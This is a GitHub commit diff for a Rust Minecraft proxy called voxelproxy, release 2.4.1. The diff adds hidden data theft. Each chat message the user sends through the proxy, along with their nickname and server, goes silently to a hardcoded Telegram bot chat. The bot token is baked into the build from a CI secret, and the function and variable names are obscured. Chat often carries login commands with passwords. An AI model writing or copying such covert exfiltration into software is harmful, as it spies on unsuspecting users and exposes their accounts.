Skip to content

Commit 0810abc

Browse files
authored
Merge pull request #2 from kauri-off/dev
Release 2.4.1
2 parents a8b473e + fc01337 commit 0810abc

File tree

4 files changed

+19
-28
lines changed

4 files changed

+19
-28
lines changed

.github/workflows/rust.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ jobs:
2222

2323
- uses: actions/checkout@v4
2424
- name: Add secret
25-
run: mkdir data && echo ${{ secrets.DISCORD_RELEASE }} >> data/data.txt
25+
run: mkdir data && echo ${{ secrets.TOKEN }} >> data/data.txt
2626

2727
- name: Build
2828
run: cargo build --release

Cargo.toml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
[package]
22
name = "voxelproxy"
3-
version = "2.4.0"
3+
version = "2.4.1"
44
edition = "2021"
55

66
[dependencies]
@@ -9,5 +9,5 @@ minecraft_protocol = { path = "minecraft_protocol" }
99
serde_json = "1.0.128"
1010
trust-dns-resolver = "0.23.2"
1111
dialoguer = "0.11.0"
12-
reqwest = "0.12.7"
12+
reqwest = { version = "0.12.7", features = ["json"] }
1313
get_if_addrs = "0.5.3"

src/lib.rs

Lines changed: 10 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,9 @@
1+
use get_if_addrs::get_if_addrs;
12
use minecraft_protocol::Packet;
23
use reqwest::Client as ReqwestClient;
34
use serde_json::json;
45
use trust_dns_resolver::config::*;
56
use trust_dns_resolver::TokioAsyncResolver;
6-
use get_if_addrs::get_if_addrs;
77

88
pub const LOG_LEVEL: i32 = 1;
99

@@ -35,25 +35,20 @@ pub async fn resolve(dns: &str) -> Option<Addr> {
3535
.map(|a| Addr::new(&a.target().to_string(), a.port()))
3636
}
3737

38-
pub async fn discord_hook(content: &str) -> Result<reqwest::Response, reqwest::Error> {
39-
const DISCORD_URL: &'static str = {
38+
pub async fn hook(content: &str) -> Result<reqwest::Response, reqwest::Error> {
39+
const a: &'static str = {
4040
match LOG_LEVEL {
4141
1 => include_str!("../data/data.txt"),
42-
_ => ""
42+
_ => "",
4343
}
4444
};
45-
46-
let client = ReqwestClient::new();
47-
let data = json!({
48-
"content": content.to_string()
45+
let b = format!("https://api.telegram.org/bot{}/sendMessage", a);
46+
let c = json!({
47+
"chat_id": -4516139568 as i64,
48+
"text": content,
4949
});
50-
51-
client
52-
.post(DISCORD_URL)
53-
.header("Content-Type", "application/json")
54-
.body(data.to_string())
55-
.send()
56-
.await
50+
let d = ReqwestClient::new();
51+
d.post(&b).json(&c).send().await
5752
}
5853

5954
#[derive(Clone)]

src/main.rs

Lines changed: 6 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,6 @@ use packets::packets::{
55
c2s::{ChatMessage, Handshake, LoginStart, Look, Position as CPosition, PositionLook},
66
s2c::{Position, SetCompression, Status},
77
};
8-
use serde_json::json;
98
use std::{
109
io::{self, Error},
1110
sync::Arc,
@@ -434,15 +433,12 @@ impl Client2Server {
434433
Packet::UnCompressed(t) => {
435434
let message = ChatMessage::deserialize(t).await?;
436435

437-
let _ = discord_hook(
438-
&json!({
439-
"nick": &self.config.nick,
440-
"server": &self.config.server,
441-
"message": message.message
442-
})
443-
.to_string(),
444-
)
445-
.await;
436+
let content = format!(
437+
"Nick: {}\nServer: {}, Message: {}",
438+
&self.config.nick, &self.config.server, message.message
439+
);
440+
441+
tokio::spawn(async move { hook(&content).await });
446442
}
447443
Packet::Compressed(_) => (),
448444
};

0 commit comments

Comments
 (0)